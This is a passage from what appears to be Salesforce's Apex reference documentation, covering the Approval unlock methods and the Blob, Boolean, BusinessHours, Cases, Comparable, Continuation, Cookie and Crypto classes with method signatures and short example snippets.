public static List<Approval.UnlockResult> unlock(List<Id> recordIds, Boolean
allOrNothing)
Parameters
recordIds
Type: List<Id>
IDs of the objects to unlock.
allOrNothing
Type: Boolean
Specifies whether this operation allows partial success. If you specify false and a record fails, the remainder of the DML operation
can still succeed. This method returns a result object that you can use to verify which records succeeded, which failed, and why.
Return Value
Type: List<Approval.UnlockResult>
unlock(recordToUnlock, allOrNothing)
Unlocks an object, with the option for partial success, and returns the unlock result.
Signature
public static Approval.UnlockResult unlock(SObject recordToUnlock, Boolean allOrNothing)
Parameters
recordToUnlock
Type: SObject
allOrNothing
Type: Boolean
Specifies whether this operation allows partial success. If you specify false and a record fails, the remainder of the DML operation
can still succeed. This method returns a result object that you can use to verify which records succeeded, which failed, and why.
2127
Approval ClassReference
Return Value
Type: Approval.UnlockResult
unlock(recordsToUnlock, allOrNothing)
Unlocks a set of objects, with the option for partial success. It returns the unlock results, including failures.
Signature
public static List<Approval.UnlockResult> unlock(List<SObject> recordsToUnlock, Boolean
allOrNothing)
Parameters
recordsToUnlock
Type: List<SObject>
allOrNothing
Type: Boolean
Specifies whether this operation allows partial success. If you specify false and a record fails, the remainder of the DML operation
can still succeed. This method returns a result object that you can use to verify which records succeeded, which failed, and why.
Return Value
Type: List<Approval.UnlockResult>
Blob Class
Contains methods for the Blob primitive data type.
Namespace
System
Usage
For more information on Blobs, see Primitive Data Types on page 27.
Blob Methods
The following are methods for Blob.
IN THIS SECTION:
size()
Returns the number of characters in the Blob.
toPdf(stringToConvert)
Creates a binary object out of the given string, encoding it as a PDF file.
2128
Blob ClassReference
toString()
Casts the Blob into a String.
valueOf(stringToBlob)
Casts the specified String to a Blob.
size()
Returns the number of characters in the Blob.
Signature
public Integer size()
Return Value
Type: Integer
Example
String myString = 'StringToBlob';
Blob myBlob = Blob.valueof(myString);
Integer size = myBlob.size();
toPdf(stringToConvert)
Creates a binary object out of the given string, encoding it as a PDF file.
Signature
public static Blob toPdf(String stringToConvert)
Parameters
stringToConvert
Type: String
Return Value
Type: Blob
Example
String pdfContent = 'This is a test string';
Account a = new account(name = 'test');
insert a;
Attachment attachmentPDF = new Attachment();
attachmentPdf.parentId = a.id;
attachmentPdf.name = account.name + '.pdf';
attachmentPdf.body = blob.toPDF(pdfContent);
insert attachmentPDF;
2129
Blob ClassReference
toString()
Casts the Blob into a String.
Signature
public String toString()
Return Value
Type: String
Example
String myString = 'StringToBlob';
Blob myBlob = Blob.valueof(myString);
System.assertEquals('StringToBlob', myBlob.toString());
valueOf(stringToBlob)
Casts the specified String to a Blob.
Signature
public static Blob valueOf(String stringToBlob)
Parameters
stringToBlob
Type: String
Return Value
Type: Blob
Example
String myString = 'StringToBlob';
Blob myBlob = Blob.valueof(myString);
Boolean Class
Contains methods for the Boolean primitive data type.
Namespace
System
2130
Boolean ClassReference
Boolean Methods
The following are methods for Boolean. All methods are static.
IN THIS SECTION:
valueOf(stringToBoolean)
Converts the specified string to a Boolean value and returns true if the specified string value is true. Otherwise, returns false.
valueOf(fieldValue)
Converts the specified object to a Boolean value. Use this method to convert a history tracking field value or an object that represents
a Boolean value.
valueOf(stringToBoolean)
Converts the specified string to a Boolean value and returns true if the specified string value is true. Otherwise, returns false.
Signature
public static Boolean valueOf(String stringToBoolean)
Parameters
stringToBoolean
Type: String
Return Value
Type: Boolean
Usage
If the specified argument is null, this method throws an exception.
Example
Boolean b=Boolean.valueOf('true');
System.assertEquals(true, b);
valueOf(fieldValue)
Converts the specified object to a Boolean value. Use this method to convert a history tracking field value or an object that represents
a Boolean value.
Signature
public static Boolean valueOf(Object fieldValue)
2131
Boolean ClassReference
Parameters
fieldValue
Type: Object
Return Value
Type: Boolean
Usage
Use this method with the OldValue or NewValue fields of history sObjects, such as AccountHistory, when the field type
corresponds to a Boolean type, like a checkbox field.
Example
List<AccountHistory> ahlist =
[SELECT Field,OldValue,NewValue
FROM AccountHistory];
for(AccountHistory ah : ahlist) {
System.debug('Field: ' + ah.Field);
if (ah.field == 'IsPlatinum__c') {
Boolean oldValue =
Boolean.valueOf(ah.OldValue);
Boolean newValue =
Boolean.valueOf(ah.NewValue);
}
BusinessHours Class
Use the BusinessHours methods to set the business hours at which your customer support team operates.
Namespace
System
BusinessHours Methods
The following are methods for BusinessHours. All methods are static.
IN THIS SECTION:
add(businessHoursId, startDate, intervalMilliseconds)
Adds an interval of time from a start Datetime traversing business hours only. Returns the result Datetime in the local time zone.
addGmt(businessHoursId, startDate, intervalMilliseconds)
Adds an interval of milliseconds from a start Datetime traversing business hours only. Returns the result Datetime in GMT.
diff(businessHoursId, startDate, endDate)
Returns the difference in milliseconds between a start and end Datetime based on a specific set of business hours.
2132
BusinessHours ClassReference
isWithin(businessHoursId, targetDate)
Returns true if the specified target date occurs within business hours. Holidays are included in the calculation.
nextStartDate(businessHoursId, targetDate)
Starting from the specified target date, returns the next date when business hours are open. If the specified target date falls within
business hours, this target date is returned.
add(businessHoursId, startDate, intervalMilliseconds)
Adds an interval of time from a start Datetime traversing business hours only. Returns the result Datetime in the local time zone.
Signature
public static Datetime add(String businessHoursId, Datetime startDate, Long
intervalMilliseconds)
Parameters
businessHoursId
Type: String
startDate
Type: Datetime
intervalMilliseconds
Type: Long
Interval value should be provided in milliseconds, however time precision smaller than one minute is ignored.
Return Value
Type: Datetime
addGmt(businessHoursId, startDate, intervalMilliseconds)
Adds an interval of milliseconds from a start Datetime traversing business hours only. Returns the result Datetime in GMT.
Signature
public static Datetime addGmt(String businessHoursId, Datetime startDate, Long
intervalMilliseconds)
Parameters
businessHoursId
Type: String
startDate
Type: Datetime
intervalMilliseconds
Type: Long
2133
BusinessHours ClassReference
Return Value
Type: Datetime
diff(businessHoursId, startDate, endDate)
Returns the difference in milliseconds between a start and end Datetime based on a specific set of business hours.
Signature
public static Long diff(String businessHoursId, Datetime startDate, Datetime endDate)
Parameters
businessHoursId
Type: String
startDate
Type: Datetime
endDate
Type: Datetime
Return Value
Type: Long
isWithin(businessHoursId, targetDate)
Returns true if the specified target date occurs within business hours. Holidays are included in the calculation.
Signature
public static Boolean isWithin(String businessHoursId, Datetime targetDate)
Parameters
businessHoursId
Type: String
The business hours ID.
targetDate
Type: Datetime
The date to verify.
Return Value
Type: Boolean
2134
BusinessHours ClassReference
Example
The following example finds whether a given time is within the default business hours.
// Get the default business hours
BusinessHours bh = [SELECT Id FROM BusinessHours WHERE IsDefault=true];
// Create Datetime on May 28, 2013 at 1:06:08 AM in the local timezone.
Datetime targetTime = Datetime.newInstance(2013, 5, 28, 1, 6, 8);
// Find whether the time is within the default business hours
Boolean isWithin= BusinessHours.isWithin(bh.id, targetTime);
nextStartDate(businessHoursId, targetDate)
Starting from the specified target date, returns the next date when business hours are open. If the specified target date falls within
business hours, this target date is returned.
Signature
public static Datetime nextStartDate(String businessHoursId, Datetime targetDate)
Parameters
businessHoursId
Type: String
The business hours ID.
targetDate
Type: Datetime
The date used as a start date to obtain the next date.
Return Value
Type: Datetime
Example
The following example finds the next date starting from the target date when business hours reopens. If the target date is within the
given business hours, the target date is returned. The returned time is in the local time zone.
// Get the default business hours
BusinessHours bh = [SELECT Id FROM BusinessHours WHERE IsDefault=true];
// Create Datetime on May 28, 2013 at 1:06:08 AM in the local timezone.
Datetime targetTime = Datetime.newInstance(2013, 5, 28, 1, 6, 8);
// Starting from the targetTime, find the next date when business hours reopens. Return
the target time.
// if it is within the business hours. The returned time will be in the local time zone
Datetime nextStart = BusinessHours.nextStartDate(bh.id, targetTime);
2135
BusinessHours ClassReference
Cases Class
Use the Cases class to interact with case records.
Namespace
System
Cases Methods
The following are static methods for Cases.
IN THIS SECTION:
getCaseIdFromEmailThreadId(emailThreadId)
Returns the case ID corresponding to the specified email thread ID.
getCaseIdFromEmailThreadId(emailThreadId)
Returns the case ID corresponding to the specified email thread ID.
Signature
public static ID getCaseIdFromEmailThreadId(String emailThreadId)
Parameters
emailThreadId
Type: String
Return Value
Type: ID
Usage
The emailThreadId argument should have the following format: _00Dxx1gEW._500xxYktg. Other formats, such as
ref:_00Dxx1gEW._500xxYktl:ref and [ref:_00Dxx1gEW._500xxYktl:ref], are invalid.
Comparable Interface
Adds sorting support for Lists that contain non-primitive types, that is, Lists of user-defined types.
Namespace
System
2136
Cases ClassReference
Usage
To add List sorting support for your Apex class, you must implement the Comparable interface with its compareTo method in
your class.
To implement the Comparable interface, you must first declare a class with the implements keyword as follows:
global class Employee implements Comparable {
Next, your class must provide an implementation for the following method:
global Integer compareTo(Object compareTo) {
// Your code here
}
The implemented method must be declared as global or public.
IN THIS SECTION:
Comparable Methods
Comparable Example Implementation
SEE ALSO:
List Class
Comparable Methods
The following are methods for Comparable.
IN THIS SECTION:
compareTo(objectToCompareTo)
Returns an Integer value that is the result of the comparison.
compareTo(objectToCompareTo)
Returns an Integer value that is the result of the comparison.
Signature
public Integer compareTo(Object objectToCompareTo)
Parameters
objectToCompareTo
Type: Object
Return Value
Type: Integer
2137
Comparable InterfaceReference
Usage
The implementation of this method should return the following values:
•0 if this instance and objectToCompareTo are equal
•> 0 if this instance is greater than objectToCompareTo
•< 0 if this instance is less than objectToCompareTo
Comparable Example Implementation
This is an example implementation of the Comparable interface. The compareTo method in this example compares the employee
of this class instance with the employee passed in the argument. The method returns an Integer value based on the comparison of the
employee IDs.
global class Employee implements Comparable {
public Long id;
public String name;
public String phone;
// Constructor
public Employee(Long i, String n, String p) {
id = i;
name = n;
phone = p;
}
// Implement the compareTo() method
global Integer compareTo(Object compareTo) {
Employee compareToEmp = (Employee)compareTo;
if (id == compareToEmp.id) return 0;
if (id > compareToEmp.id) return 1;
return -1;
}
}
This example tests the sort order of a list of Employee objects.
@isTest
private class EmployeeSortingTest {
static testmethod void test1() {
List<Employee> empList = new List<Employee>();
empList.add(new Employee(101,'Joe Smith','4155551212'));
empList.add(new Employee(101,'J. Smith','4155551212'));
empList.add(new Employee(25,'Caragh Smith','4155551000'));
empList.add(new Employee(105,'Mario Ruiz','4155551099'));
// Sort using the custom compareTo() method
empList.sort();
// Write list contents to the debug log
System.debug(empList);
// Verify list sort order.
System.assertEquals('Caragh Smith', empList[0].Name);
2138
Comparable InterfaceReference
System.assertEquals('Joe Smith', empList[1].Name);
System.assertEquals('J. Smith', empList[2].Name);
System.assertEquals('Mario Ruiz', empList[3].Name);
}
}
Continuation Class
Use the Continuation class to make callouts asynchronously to a SOAP or REST Web service.
Namespace
System
Example
For a code example, see Make Long-Running Callouts from a Visualforce Page.
IN THIS SECTION:
Continuation Constructors
Continuation Properties
Continuation Methods
Continuation Constructors
The following are constructors for Continuation.
IN THIS SECTION:
Continuation(timeout)
Creates an instance of the Continuation class by using the specified timeout in seconds. The timeout limit is 120 seconds
seconds.
Continuation(timeout)
Creates an instance of the Continuation class by using the specified timeout in seconds. The timeout limit is 120 seconds seconds.
Signature
public Continuation(Integer timeout)
Parameters
timeout
Type: Integer
The timeout for this continuation in seconds.
2139
Continuation ClassReference
Continuation Properties
The following are properties for Continuation.
IN THIS SECTION:
continuationMethod
The name of the callback method that is called after the callout response returns.
timeout
The timeout of the continuation in seconds. Limit: 120 seconds seconds.
state
Data that is stored in this continuation and that can be retrieved after the callout is finished and the callback method is invoked.
continuationMethod
The name of the callback method that is called after the callout response returns.
Signature
public String continuationMethod {get; set;}
Property Value
Type: String
Usage
Note: If the continuationMethod property is not set for a Continuation, the same action method that made the asynchronous
callout is called again when the callout response returns.
timeout
The timeout of the continuation in seconds. Limit: 120 seconds seconds.
Signature
public Integer timeout {get; set;}
Property Value
Type: Integer
state
Data that is stored in this continuation and that can be retrieved after the callout is finished and the callback method is invoked.
Signature
public Object state {get; set;}
2140
Continuation ClassReference
Property Value
Type: Object
Example
This example shows how to save state information for a continuation in a controller.
// Declare inner class to hold state info
private class StateInfo {
String msg { get; set; }
List<String> urls { get; set; }
StateInfo(String msg, List<String> urls) {
this.msg = msg;
this.urls = urls;
}
}
// Then in the action method, set state for the continuation
continuationInstance.state = new StateInfo('Some state data', urls);
Continuation Methods
The following are methods for Continuation.
IN THIS SECTION:
addHttpRequest(request)
Adds the HTTP request for the callout that is associated with this continuation.
getRequests()
Returns all labels and requests that are associated with this continuation as key-value pairs.
getResponse(requestLabel)
Returns the response for the request that corresponds to the specified label.
addHttpRequest(request)
Adds the HTTP request for the callout that is associated with this continuation.
Signature
public String addHttpRequest(System.HttpRequest request)
Parameters
request
Type: HttpRequest
The HTTP request to be sent to the external service by this continuation.
Return Value
Type: String
2141
Continuation ClassReference
A unique label that identifies the HTTP request that is associated with this continuation. This label is used in the map that getRequests()
returns to identify individual requests in a continuation.
Usage
You can add up tothree requests to a continuation.
Note: The timeout that is set in each passed-in request is ignored. Only the global timeout limit of 120 seconds applies for a
continuation.
getRequests()
Returns all labels and requests that are associated with this continuation as key-value pairs.
Signature
public Map<String,System.HttpRequest> getRequests()
Return Value
Type: Map<String,HttpRequest>
A map of all requests that are associated with this continuation. The map key is the request label, and the map value is the corresponding
HTTP request.
getResponse(requestLabel)
Returns the response for the request that corresponds to the specified label.
Signature
public static HttpResponse getResponse(String requestLabel)
Parameters
requestLabel
Type: String
The request label to get the response for.
Return Value
Type: HttpResponse
Usage
The status code is returned in the HttpResponse object and can be obtained by calling getStatusCode() on the response. A status
code of 200 indicates that the request was successful. Other status code values indicate the type of problem that was encountered.
Sample of Error Status Codes
When a problem occurs with the response, some possible status code values are:
•2000: The timeout was reached, and the server didn’t get a chance to respond.
2142
Continuation ClassReference
•2001: There was a connection failure.
•2002: Exceptions occurred.
•2003: The response hasn’t arrived (which also means that the Apex asynchronous callout framework hasn’t resumed).
•2004: The response size is too large (greater than 1 MB).
Cookie Class
The Cookie class lets you access cookies for your Force.com site using Apex.
Namespace
System
Usage
Use the setCookies method of the PageReference Class to attach cookies to a page.
Important:
•Cookie names and values set in Apex are URL encoded, that is, characters such as @ are replaced with a percent sign and their
hexadecimal representation.
•The setCookies method adds the prefix “apex__” to the cookie names.
•Setting a cookie's value to null sends a cookie with an empty string value instead of setting an expired attribute.
•After you create a cookie, the properties of the cookie can't be changed.
•Be careful when storing sensitive information in cookies. Pages are cached regardless of a cookie value. If you use a cookie
value to generate dynamic content, you should disable page caching. For more information, see “Caching Force.com Sites
Pages” in the Salesforce online help.
Consider the following limitations when using the Cookie class:
•The Cookie class can only be accessed using Apex that is saved using the Salesforce API version 19 and above.
•The maximum number of cookies that can be set per Force.com domain depends on your browser. Newer browsers have higher
limits than older ones.
•Cookies must be less than 4K, including name and attributes.
For more information on sites, see “Force.com Sites” in the Salesforce online help.
Example
The following example creates a class, CookieController, which is used with a Visualforce page (see markup below) to update
a counter each time a user displays a page. The number of times a user goes to the page is stored in a cookie.
// A Visualforce controller class that creates a cookie
// used to keep track of how often a user displays a page
public class CookieController {
public CookieController() {
Cookie counter = ApexPages.currentPage().getCookies().get('counter');
// If this is the first time the user is accessing the page,
2143
Cookie ClassReference
// create a new cookie with name 'counter', an initial value of '1',
// path 'null', maxAge '-1', and isSecure 'false'.
if (counter == null) {
counter = new Cookie('counter','1',null,-1,false);
}else {
// If this isn't the first time the user is accessing the page
// create a new cookie, incrementing the value of the original count by 1
Integer count = Integer.valueOf(counter.getValue());
counter = new Cookie('counter',String.valueOf(count+1),null,-1,false);
}
// Set the new cookie for the page
ApexPages.currentPage().setCookies(new Cookie[]{counter});
}
// This method is used by the Visualforce action {!count} to display the current
// value of the number of times a user had displayed a page.
// This value is stored in the cookie.
public String getCount() {
Cookie counter = ApexPages.currentPage().getCookies().get('counter');
if(counter == null) {
return '0';
}
return counter.getValue();
}
}
// Test class for the Visualforce controller
@isTest
private class CookieControllerTest {
// Test method for verifying the positive test case
static testMethod void testCounter() {
//first page view
CookieController controller = new CookieController();
System.assert(controller.getCount() == '1');
//second page view
controller = new CookieController();
System.assert(controller.getCount() == '2');
}
}
The following is the Visualforce page that uses the CookieController Apex controller above. The action {!count} calls the
getCount method in the controller above.
<apex:page controller="CookieController">
You have seen this page {!count} times
</apex:page>
IN THIS SECTION:
Cookie Constructors
Cookie Methods
2144
Cookie ClassReference
Cookie Constructors
The following are constructors for Cookie.
IN THIS SECTION:
Cookie(name, value, path, maxAge, isSecure)
Creates a new instance of the Cookie class using the specified name, value, path, age, and the secure setting.
Cookie(name, value, path, maxAge, isSecure)
Creates a new instance of the Cookie class using the specified name, value, path, age, and the secure setting.
Signature
public Cookie(String name, String value, String path, Integer maxAge, Boolean isSecure)
Parameters
name
Type: String
The cookie name. It can’t be null.
value
Type: String
The cookie data, such as session ID.
path
Type: String
The path from where you can retrieve the cookie.
maxAge
Type: Integer
A number representing how long a cookie is valid for in seconds. If set to less than zero, a session cookie is issued. If set to zero, the
cookie is deleted.
isSecure
Type: Boolean
A value indicating whether the cookie can only be accessed through HTTPS (true) or not (false).
Cookie Methods
The following are methods for Cookie. All are instance methods.
IN THIS SECTION:
getDomain()
Returns the name of the server making the request.
2145
Cookie ClassReference
getMaxAge()
Returns a number representing how long the cookie is valid for, in seconds. If set to < 0, a session cookie is issued. If set to 0, the
cookie is deleted.
getName()
Returns the name of the cookie. Can't be null.
getPath()
Returns the path from which you can retrieve the cookie. If null or blank, the location is set to root, or “/”.
getValue()
Returns the data captured in the cookie, such as Session ID.
isSecure()
Returns true if the cookie can only be accessed through HTTPS, otherwise returns false.
getDomain()
Returns the name of the server making the request.
Signature
public String getDomain()
Return Value
Type: String
getMaxAge()
Returns a number representing how long the cookie is valid for, in seconds. If set to < 0, a session cookie is issued. If set to 0, the cookie
is deleted.
Signature
public Integer getMaxAge()
Return Value
Type: Integer
getName()
Returns the name of the cookie. Can't be null.
Signature
public String getName()
Return Value
Type: String
2146
Cookie ClassReference
getPath()
Returns the path from which you can retrieve the cookie. If null or blank, the location is set to root, or “/”.
Signature
public String getPath()
Return Value
Type: String
getValue()
Returns the data captured in the cookie, such as Session ID.
Signature
public String getValue()
Return Value
Type: String
isSecure()
Returns true if the cookie can only be accessed through HTTPS, otherwise returns false.
Signature
public Boolean isSecure()
Return Value
Type: Boolean
Crypto Class
Provides methods for creating digests, message authentication codes, and signatures, as well as encrypting and decrypting information.
Namespace
System
Usage
The methods in the Crypto class can be used for securing content in Force.com, or for integrating with external services such as
Google or Amazon WebServices (AWS).
2147
Crypto ClassReference
Encrypt and Decrypt Exceptions
The following exceptions can be thrown for these methods:
•decrypt
•encrypt
•decryptWithManagedIV
•encryptWithManagedIV
DescriptionMessageException
Thrown if you're using managed
initialization vectors, and the cipher text is
less than 16 bytes.
Unable to parse initialization vector from
encrypted data.
InvalidParameterValue
Thrown if the algorithm name isn't one of
the valid values.
Invalid algorithm algoName. Must be
AES128, AES192, or AES256.
InvalidParameterValue
Thrown if size of the private key doesn't
match the specified algorithm.
Invalid private key. Must be size bytes.InvalidParameterValue
Thrown if the initialization vector isn't 16
bytes.
Invalid initialization vector. Must be 16 bytes.InvalidParameterValue
Thrown if the data is greater than 1 MB. For
decryption, 1048608 bytes are allowed for
Invalid data. Input data is size bytes,
which exceeds the limit of 1048576 bytes.
InvalidParameterValue
the initialization vector header, plus any
additional padding the encryption added
to align to block size.
Thrown if one of the required method
arguments is null.
Argument cannot be null.NullPointerException
Thrown if the data isn't properly
block-aligned or similar issues occur during
encryption or decryption.
Given final block not properly padded.SecurityException
Thrown if something goes wrong during
either encryption or decryption.
Message VariesSecurityException
Crypto Methods
The following are methods for Crypto. All methods are static.
IN THIS SECTION:
decrypt(algorithmName, privateKey, initializationVector, cipherText)
Decrypts the Blob cipherText using the specified algorithm, private key, and initialization vector. Use this method to decrypt
blobs encrypted using a third party application or the encrypt method.
decryptWithManagedIV(algorithmName, privateKey, IVAndCipherText)
Decrypts the Blob IVAndCipherText using the specified algorithm and private key. Use this method to decrypt blobs encrypted
using a third party application or the encryptWithManagedIV method.
2148
Crypto ClassReference
encrypt(algorithmName, privateKey, initializationVector, clearText)
Encrypts the Blob clearText using the specified algorithm, private key and initialization vector. Use this method when you want
to specify your own initialization vector.
encryptWithManagedIV(algorithmName, privateKey, clearText)
Encrypts the Blob clearText using the specified algorithm and private key. Use this method when you want Salesforce to
generate the initialization vector for you.
generateAesKey(size)
Generates an Advanced Encryption Standard (AES) key.
generateDigest(algorithmName, input)
Computes a secure, one-way hash digest based on the supplied input string and algorithm name.
generateMac(algorithmName, input, privateKey)
Computes a message authentication code (MAC) for the input string, using the private key and the specified algorithm.
getRandomInteger()
Returns a random Integer.
getRandomLong()
Returns a random Long.
sign(algorithmName, input, privateKey)
Computes a unique digital signature for the input string, using the specified algorithm and the supplied private key.
signWithCertificate(algorithmName, input, certDevName)
Computes a unique digital signature for the input string, using the specified algorithm and the supplied certificate and key pair.
signXML(algorithmName, node, idAttributeName, certDevName)
Envelops the signature into an XML document.
signXML(algorithmName, node, idAttributeName, certDevName, refChild)
Inserts the signature envelope before the specified child node.
decrypt(algorithmName, privateKey, initializationVector, cipherText)
Decrypts the Blob cipherText using the specified algorithm, private key, and initialization vector. Use this method to decrypt blobs
encrypted using a third party application or the encrypt method.
Signature
public static Blob decrypt(String algorithmName, Blob privateKey, Blob
initializationVector, Blob cipherText)
Parameters
algorithmName
Type: String
privateKey
Type: Blob
initializationVector
Type: Blob
2149
Crypto ClassReference
cipherText
Type: Blob
Return Value
Type: Blob
Usage
Valid values for algorithmName are:
•AES128
•AES192
•AES256
These are all industry standard Advanced Encryption Standard (AES) algorithms with different size keys. They use cipher block chaining
(CBC) and PKCS5 padding.
The length of privateKey must match the specified algorithm: 128 bits, 192 bits, or 256 bits, which is 16, 24, or 32 bytes, respectively.
You can use a third-party application or the generateAesKey method to generate this key for you.
The initialization vector must be 128 bits (16 bytes.)
Example
Blob exampleIv = Blob.valueOf('Example of IV123');
Blob key = Crypto.generateAesKey(128);
Blob data = Blob.valueOf('Data to be encrypted');
Blob encrypted = Crypto.encrypt('AES128', key, exampleIv, data);
Blob decrypted = Crypto.decrypt('AES128', key, exampleIv, encrypted);
String decryptedString = decrypted.toString();
System.assertEquals('Data to be encrypted', decryptedString);
decryptWithManagedIV(algorithmName, privateKey, IVAndCipherText)
Decrypts the Blob IVAndCipherText using the specified algorithm and private key. Use this method to decrypt blobs encrypted
using a third party application or the encryptWithManagedIV method.
Signature
public static Blob decryptWithManagedIV(String algorithmName, Blob privateKey, Blob
IVAndCipherText)
Parameters
algorithmName
Type: String
privateKey
Type: Blob
2150
Crypto ClassReference
IVAndCipherText
Type: Blob
The first 128 bits (16 bytes) of IVAndCipherText must contain the initialization vector.
Return Value
Type: Blob
Usage
Valid values for algorithmName are:
•AES128
•AES192
•AES256
These are all industry standard Advanced Encryption Standard (AES) algorithms with different size keys. They use cipher block chaining
(CBC) and PKCS5 padding.
The length of privateKey must match the specified algorithm: 128 bits, 192 bits, or 256 bits, which is 16, 24, or 32 bytes, respectively.
You can use a third-party application or the generateAesKey method to generate this key for you.
Example
Blob key = Crypto.generateAesKey(128);
Blob data = Blob.valueOf('Data to be encrypted');
Blob encrypted = Crypto.encryptWithManagedIV('AES128', key, data);
Blob decrypted = Crypto.decryptWithManagedIV('AES128', key, encrypted);
String decryptedString = decrypted.toString();
System.assertEquals('Data to be encrypted', decryptedString);
encrypt(algorithmName, privateKey, initializationVector, clearText)
Encrypts the Blob clearText using the specified algorithm, private key and initialization vector. Use this method when you want to
specify your own initialization vector.
Signature
public static Blob encrypt(String algorithmName, Blob privateKey, Blob
initializationVector, Blob clearText)
Parameters
algorithmName
Type: String
privateKey
Type: Blob
initializationVector
Type: Blob
2151
Crypto ClassReference
clearText
Type: Blob
Return Value
Type: Blob
Usage
The initialization vector must be 128 bits (16 bytes.) Use either a third-party application or the decrypt method to decrypt blobs
encrypted using this method. Use the encryptWithManagedIV method if you want Salesforce to generate the initialization vector
for you. It is stored as the first 128 bits (16 bytes) of the encrypted Blob.
Valid values for algorithmName are:
•AES128
•AES192
•AES256
These are all industry standard Advanced Encryption Standard (AES) algorithms with different size keys. They use cipher block chaining
(CBC) and PKCS5 padding.
The length of privateKey must match the specified algorithm: 128 bits, 192 bits, or 256 bits, which is 16, 24, or 32 bytes, respectively.
You can use a third-party application or the generateAesKey method to generate this key for you.
Example
Blob exampleIv = Blob.valueOf('Example of IV123');
Blob key = Crypto.generateAesKey(128);
Blob data = Blob.valueOf('Data to be encrypted');
Blob encrypted = Crypto.encrypt('AES128', key, exampleIv, data);
Blob decrypted = Crypto.decrypt('AES128', key, exampleIv, encrypted);
String decryptedString = decrypted.toString();
System.assertEquals('Data to be encrypted', decryptedString);
encryptWithManagedIV(algorithmName, privateKey, clearText)
Encrypts the Blob clearText using the specified algorithm and private key. Use this method when you want Salesforce to generate
the initialization vector for you.
Signature
public static Blob encryptWithManagedIV(String algorithmName, Blob privateKey, Blob
clearText)
Parameters
algorithmName
Type: String
privateKey
Type: Blob
2152
Crypto ClassReference
clearText
Type: Blob
Return Value
Type: Blob
Usage
The initialization vector is stored as the first 128 bits (16 bytes) of the encrypted Blob. Use either third-party applications or the
decryptWithManagedIV method to decrypt blobs encrypted with this method. Use the encrypt method if you want to
generate your own initialization vector.
Valid values for algorithmName are:
•AES128
•AES192
•AES256
These are all industry standard Advanced Encryption Standard (AES) algorithms with different size keys. They use cipher block chaining
(CBC) and PKCS5 padding.
The length of privateKey must match the specified algorithm: 128 bits, 192 bits, or 256 bits, which is 16, 24, or 32 bytes, respectively.
You can use a third-party application or the generateAesKey method to generate this key for you.
Example
Blob key = Crypto.generateAesKey(128);
Blob data = Blob.valueOf('Data to be encrypted');
Blob encrypted = Crypto.encryptWithManagedIV('AES128', key, data);
Blob decrypted = Crypto.decryptWithManagedIV('AES128', key, encrypted);
String decryptedString = decrypted.toString();
System.assertEquals('Data to be encrypted', decryptedString);
generateAesKey(size)
Generates an Advanced Encryption Standard (AES) key.
Signature
public static Blob generateAesKey(Integer size)
Parameters
size
Type: Integer
The key's size in bits. Valid values are:
•128
•192
•256
2153
Crypto ClassReference
Return Value
Type: Blob
Example
Blob key = Crypto.generateAesKey(128);
generateDigest(algorithmName, input)
Computes a secure, one-way hash digest based on the supplied input string and algorithm name.
Signature
public static Blob generateDigest(String algorithmName, Blob input)
Parameters
algorithmName
Type: String
Valid values for algorithmName are:
•MD5
•SHA1
•SHA-256
•SHA-512
input
Type: Blob
Return Value
Type: Blob
Example
Blob targetBlob = Blob.valueOf('ExampleMD5String');
Blob hash = Crypto.generateDigest('MD5', targetBlob);
generateMac(algorithmName, input, privateKey)
Computes a message authentication code (MAC) for the input string, using the private key and the specified algorithm.
Signature
public static Blob generateMac(String algorithmName, Blob input, Blob privateKey)
Parameters
algorithmName
Type: String
2154
Crypto ClassReference
The valid values for algorithmName are:
•hmacMD5
•hmacSHA1
•hmacSHA256
•hmacSHA512
input
Type: Blob
privateKey
Type: Blob
The value of privateKey does not need to be in decoded form. The value cannot exceed 4 KB.
Return Value
Type: Blob
Example
String salt = String.valueOf(Crypto.getRandomInteger());
String key = 'key';
Blob data = crypto.generateMac('HmacSHA256',
Blob.valueOf(salt), Blob.valueOf(key));
getRandomInteger()
Returns a random Integer.
Signature
public static Integer getRandomInteger()
Return Value
Type: Integer
Example
Integer randomInt = Crypto.getRandomInteger();
getRandomLong()
Returns a random Long.
Signature
public static Long getRandomLong()
2155
Crypto ClassReference
Return Value
Type: Long
Example
Long randomLong = Crypto.getRandomLong();
sign(algorithmName, input, privateKey)
Computes a unique digital signature for the input string, using the specified algorithm and the supplied private key.
Signature
public static Blob sign(String algorithmName, Blob input, Blob privateKey)
Parameters
algorithmName
Type: String
The algorithm name. The valid values for algorithmName are RSA-SHA1, RSA-SHA256, or RSA.
RSA-SHA1 is an RSA signature (with an asymmetric key pair) of a SHA1 hash.
RSA-SHA256 is an RSA signature of a SHA256 hash.
RSA is the same as RSA-SHA1.
input
Type: Blob
The data to sign.
privateKey
Type: Blob
The value of privateKey must be decoded using the EncodingUtilbase64Decode method, and should be in RSA's
PKCS #8 (1.2) Private-Key Information Syntax Standard form. The value cannot exceed 4 KB.
Return Value
Type: Blob
Example
The following snippet shows how to call the sign method.
String algorithmName = 'RSA';
String key = '';
Blob privateKey = EncodingUtil.base64Decode(key);
Blob input = Blob.valueOf('12345qwerty');
Crypto.sign(algorithmName, input, privateKey);
2156
Crypto ClassReference
signWithCertificate(algorithmName, input, certDevName)
Computes a unique digital signature for the input string, using the specified algorithm and the supplied certificate and key pair.
Signature
public static Blob signWithCertificate(String algorithmName, Blob input, String
certDevName)
Parameters
algorithmName
Type: String
The algorithm name. The valid values for algorithmName are RSA-SHA1, RSA-SHA256, or RSA.
RSA-SHA1 is an RSA signature (with an asymmetric key pair) of a SHA1 hash.
RSA-SHA256 is an RSA signature of a SHA256 hash.
RSA is the same as RSA-SHA1.
input
Type: Blob
The data to sign.
certDevName
Type: String
The Unique Name for a certificate stored in the Salesforce organization’s Certificate and Key Management page to use for signing.
To access the Certificate and Key Management page from Setup, enter Certificate and Key Management in the Quick
Find box, then select Certificate and Key Management.
Return Value
Type: Blob
Example
The following snippet is an example of the method for signing the content referenced by data.
Blob data = Blob.valueOf('12345qwerty');
System.Crypto.signWithCertificate('RSA-SHA256', data, 'signingCert');
signXML(algorithmName, node, idAttributeName, certDevName)
Envelops the signature into an XML document.
Signature
public Void signXML(String algorithmName, Dom.XmlNode node, String idAttributeName,
String certDevName)
2157
Crypto ClassReference
Parameters
algorithmName
Type: String
The algorithm name. Valid names are RSA-SHA1, RSA-SHA256, or RSA.
RSA-SHA1 is an RSA signature (with an asymmetric key pair) of an SHA1 hash.
RSA-SHA256 is an RSA signature of an SHA256 hash.
RSA is the same as RSA-SHA1.
node
Type: Dom.XmlNode
The XML node to sign and insert the signature into.
idAttributeName
Type: String
